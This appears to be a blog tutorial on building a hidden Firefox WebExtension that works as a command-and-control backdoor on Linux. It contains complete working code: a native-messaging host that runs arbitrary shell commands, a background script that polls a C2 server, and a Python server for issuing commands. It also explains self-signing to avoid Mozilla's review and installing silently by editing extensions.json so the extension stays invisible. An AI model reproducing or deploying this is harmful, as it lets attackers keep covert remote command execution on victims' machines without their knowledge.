ATTENTION

This technique was tested only on Linux, it’ll not work on Mac or Windows.

Firefox Webextensions

Firefox webextension is the new name for plugins, basically you write code in JavaScript that has the capability of interacting with your browser’s API. So based on this, I came up with the idea of creating a webextension to act like a command and control client.

How to do that

After a few minutes digging the Firefox webextensions documentation, I found a functionality called Native Messaging, that basically create a tunnel between a webextensions and a system program, if you want more details on this I suggest to you to read the documentation as this is not the focus of this article.

Creating a Native Messaging app

Basically we need 2 files in order to do that, a manifest and the application to receive commands from the webextensions, you can find an example of both on the documentation :

Manifest

This file indicates to Firefox that there’s a new function that can be used by an allowed webextension

{ "name" : "execution" , "description" : "Malicious function" , "path" : "/home/user/.mozilla/extensions/payload.py" , "type" : "stdio" , "allowed_extensions" : [ "malicious-webextension@github.io" ] }

The attribute name will be used by Firefox to bind a function with this name, and the allowed_extensions will be used to permit only our extension to use that function (we are going to set this value malicious-webextension@github.io on the webextension manifest), and the attribute path define where the app script is located.

Then copy this file to /home/user/.mozilla/native-messaging-hosts/execution.json

App script

This is a python script, which receives data from the webextension via STDIN to execute the value as a system command encode the response and send the it via STDOUT to the webextension.

#!/usr/bin/env python import sys import json import struct import base64 import subprocess def getMessage (): rawLength = sys . stdin . buffer . read ( 4 ) if len ( rawLength ) == 0 : sys . exit ( 0 ) messageLength = struct . unpack ( '@I' , rawLength )[ 0 ] message = sys . stdin . buffer . read ( messageLength ). decode ( 'utf-8' ) return json . loads ( message ) def encodeMessage ( messageContent ): encodedContent = json . dumps ( messageContent ). encode ( 'utf-8' ) encodedLength = struct . pack ( '@I' , len ( encodedContent )) return { 'length' : encodedLength , 'content' : encodedContent } def sendMessage ( encodedMessage ): sys . stdout . buffer . write ( encodedMessage [ 'length' ]) sys . stdout . buffer . write ( encodedMessage [ 'content' ]) sys . stdout . buffer . flush () def execcmd ( cmd ): output = subprocess . run ( cmd , shell = True , stdout = subprocess . PIPE , universal_newlines = True ) return base64 . b64encode ( output . stdout . encode ()). decode () while True : receivedMessage = getMessage () sendMessage ( encodeMessage ( execcmd ( receivedMessage )))

Now everything is set up. So the webextension can interact with the execution function.

Creating a Webextension

We need to create only two files, a manifest.json which contains the webextensions informations and the background.js which contains the client logic. Here we will create a simple example but feel free to create more sophisticated clients. First let’s create the manifest file:

{ "description" : "C2 Client" , "manifest_version" : 2 , "name" : "C2 Client" , "version" : "1.0" , "applications" : { "gecko" : { "id" : "malicious-webextension@github.io" , "strict_min_version" : "50.0" } }, "background" : { "scripts" : [ "background.js" ] }, "permissions" : [ "nativeMessaging" , "<all_urls>" ] }

I’ll not explain all the parameters, but the most important here is the value inside .application | .gecko | .id . This value contains the same id that was set on the native messaging app, and the value nativeMessaging inside the attribute permissions , which specifies to Firefox that the webextension has the ability to use Native Messaging Apps.

Now let’s create a webexntesion to interact with our c2 server.

var port ; var timeout = 1000 ; var result = " none " ; var sendMessage = function (){ server = " http://127.0.0.1:8081/ " ; var oReq = new XMLHttpRequest (); oReq . open ( ' POST ' , server , true ) oReq . setRequestHeader ( ' Content-type ' , ' application/x-www-form-urlencoded ' ) oReq . onerror = function ( e ) { setTimeout ( sendMessage , timeout ); } oReq . ontimeout = function ( e ) { setTimeout ( sendMessage , timeout ); } oReq . onload = function ( oEvent ) { if ( oReq . status == 200 ){ var cmd = oReq . response if ( cmd != "" ){ console . log ( cmd ) port = browser . runtime . connectNative ( " execution " ); port . onMessage . addListener (( response ) => { result = response ; port . disconnect (); }); port . postMessage ( cmd ); } setTimeout ( sendMessage , timeout ); } }; oReq . send ( " response= " + result ); result = " none " } setTimeout ( sendMessage , timeout );

Basically this javascript code connects to the c2 server, waits for a command, then it executes after the command is received. And the server side is just a simple http server written in python.

import cgi import threading from urlparse import urlparse , parse_qs from SocketServer import ThreadingMixIn from BaseHTTPServer import HTTPServer , BaseHTTPRequestHandler class Handler ( BaseHTTPRequestHandler ): def do_POST ( self ): self . send_response ( 200 ) self . end_headers () message = threading . currentThread (). getName () form = cgi . FieldStorage ( fp = self . rfile , headers = self . headers , environ = { 'REQUEST_METHOD' : 'POST' }) result = form . getvalue ( "response" ) if result != "none" : print ( result . decode ( 'base64' )) return cmd = raw_input ( "$ " ) self . wfile . write ( cmd ) return def log_message ( self , format , * args ): return class ThreadedHTTPServer ( ThreadingMixIn , HTTPServer ): """Handle requests in a separate thread.""" if __name__ == '__main__' : server = ThreadedHTTPServer (( 'localhost' , 8081 ), Handler ) print 'Starting server, use <Ctrl-C> to stop' server . serve_forever ()

Generating the webextension

Now we compress the files manifest.json and background.js as malicious-webextension@github.io.xpi using zip , then we go to mozilla developer dashboard to sign our webextension. Select the option ` On your own. Your submission will be immediately signed for self-distribution. Updates should be handled by you via an updateURL or external application updates. upload our .xpi file, click in Sign Add-on`, then select the option no, because we don’t want Mozilla to analyse our code, click in continue, and then download the signed webextension.

Installing the webextension

Now to install our webextension we’re not going to use the Firefox interface (because it requires user interaction). We’ll edit a couple files to make Firefox detect our webextension. It’s important to close all instances of Firefox while doing the webextension installation

webextension file

Copy the signed webextension file to $HOME/.mozilla/firefox/profile-name/extensions

extensions.json

The file $HOME/.mozilla/firefox/profile-name/extensions.json , is where Firefox saves what webextensions are installed, then we just need to put our webextension in this file, here’s an example of the configuration.

{ "id" : "malicious-webextension@github.io" , "syncGUID" : "{7b594760-d78d-410c-ad1f-34a4aaa8c3ac}" , "version" : "1.0" , "type" : "extension" , "loader" : null , "updateURL" : null , "optionsURL" : null , "optionsType" : null , "optionsBrowserStyle" : true , "aboutURL" : null , "defaultLocale" : { "name" : "C2 Client" , "description" : "C2 Client" , "creator" : null , "developers" : null , "translators" : null , "contributors" : null }, "visible" : true , "active" : true , "userDisabled" : false , "appDisabled" : false , "installDate" : 1550640880000 , "updateDate" : 1550640880000 , "applyBackgroundUpdates" : 1 , "path" : "/home/user/.mozilla/firefox/f22lasdy.default/extensions/malicious-webextension@github.io" , "skinnable" : false , "sourceURI" : null , "releaseNotesURI" : null , "softDisabled" : false , "foreignInstall" : false , "strictCompatibility" : true , "locales" : [], "targetApplications" : [ { "id" : "toolkit@mozilla.org" , "minVersion" : "50.0" , "maxVersion" : null } ], "targetPlatforms" : [], "signedState" : 2 , "seen" : true , "dependencies" : [], "userPermissions" : { "permissions" : [ "nativeMessaging" ], "origins" : [ "<all_urls>" ] }, "icons" : {}, "iconURL" : null , "blocklistState" : 0 , "blocklistURL" : null , "startupData" : null , "hidden" : true , "installTelemetryInfo" : { "source" : "about:addons" , "method" : "install-from-file" }, "location" : "app-system-defaults" }

And here we have a really nice option called location , and it’s nice because if we set the value to app-system-defaults then the webextension will not be visible on Firefox. To automate the process of infecting this file we can use this python script:

import json extensions = json . loads ( open ( '/home/user/.mozilla/firefox/profile-name/extensions.json' ). read ()) plugin = json . loads ( open ( 'myexntension.json' ). read ()) plugin [ 'path' ] = '/home/user/.mozilla/firefox/profile-name/extensions/malicious-webextension@github.io.xpi' extensions [ 'addons' ]. insert ( len ( extensions [ 'addons' ]), plugin ) print ( json . dumps ( extensions )) "

Then we replace the contents of extensions.json with the python script output.

user.js

Create the file /home/user/.mozilla/firefox/profile-name/user.js with the following contents:

user_pref("extensions.webextensions.uuids","{\"malicious-webextension@github.io\":\"fef0c3b3-9327-4584-839c-52cf45d94170\"}");

The End

In onder for the firefox detect and enable the webextension start the firefox, close and start again. Now everything should be working.

PoC

Here’s a video showing the webextension in usage. I’m using the webextension as a developer extension to show the debug console.